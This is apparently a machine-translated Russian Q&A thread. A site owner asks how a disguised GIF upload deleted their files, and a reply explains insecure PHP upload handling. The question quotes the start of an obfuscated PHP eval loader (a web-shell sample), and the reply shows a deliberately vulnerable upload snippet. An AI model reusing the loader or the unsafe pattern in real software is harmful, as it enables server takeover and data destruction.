У меня есть сервер Linux, у меня есть загружаемое изображение на моем сайте, пользователи, которые регистрируются, могут загружать свои изображения, когда он входит в свой профиль, он может видеть его образ, а также он может получить ссылку на его изображение, поэтому изображения загружаются на сервер в каталоге WWW / img. Я проверяю расширение файла на php и разрешаю (.png, .gif, .jpg) файлы
НО я не знаю, почему кто-то загрузил gif-изображение и удалил все мои файлы, я получил изображение, загруженное пользователем, так как у нас есть RAID, содержимое изображения было чем-то вроде …….
function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............
что это такое, как это произошло, как все файлы были удалены? какой язык это, как я могу защитить файлы от удаления.
У вас, вероятно, очень плохо написанный обработчик загрузки файлов, что слепо верит тому, что предоставляет пользователь, помещает файлы с исходным именем пользователя в общедоступный каталог внутри вашего веб-сайта. Короче говоря, ваш сценарий загрузки файлов был эквивалентом большого мигающего неонового знака, ослепляющего «HACK ME!». ,
например, что-то вроде этого:
<?php if ($_FILES['file']['type'] == 'image/gif') { move_uploaded_files($_FILES['file']['tmp_name'], '/some/path/in/your/docroot/' . $_FILES['file']['name']); }
Что здесь не так:
['type']
представляет собой данные, предоставленные пользователем – злоумышленник может легко подделать этот тип mime. Они могут легко загрузить «somescript.php», но пометить его как изображение. ['name']
как часть пути, в котором вы храните файл. Опять же, это находится под контролем над пользователем. Один вредоносный пользователь и ваш сервер сбрасываются в туалет. Короче говоря, имея дело с загрузкой файлов, вы обрабатываете файл как готовую к взрыву ядерную бомбу, которая находится на расстоянии 0,001 секунды от детонации. Вы не храните его с исходным именем файла. Вы не храните его в любом месте, где пользователь может получить его. Вы не храните его с предсказуемым именем файла. Вы выполняете проверку на стороне сервера в файле. Вы поднимаете юбки файла и смотрите под капот, чтобы убедиться, что это то, что должно быть … и даже тогда вы все еще считаете, что это ложь.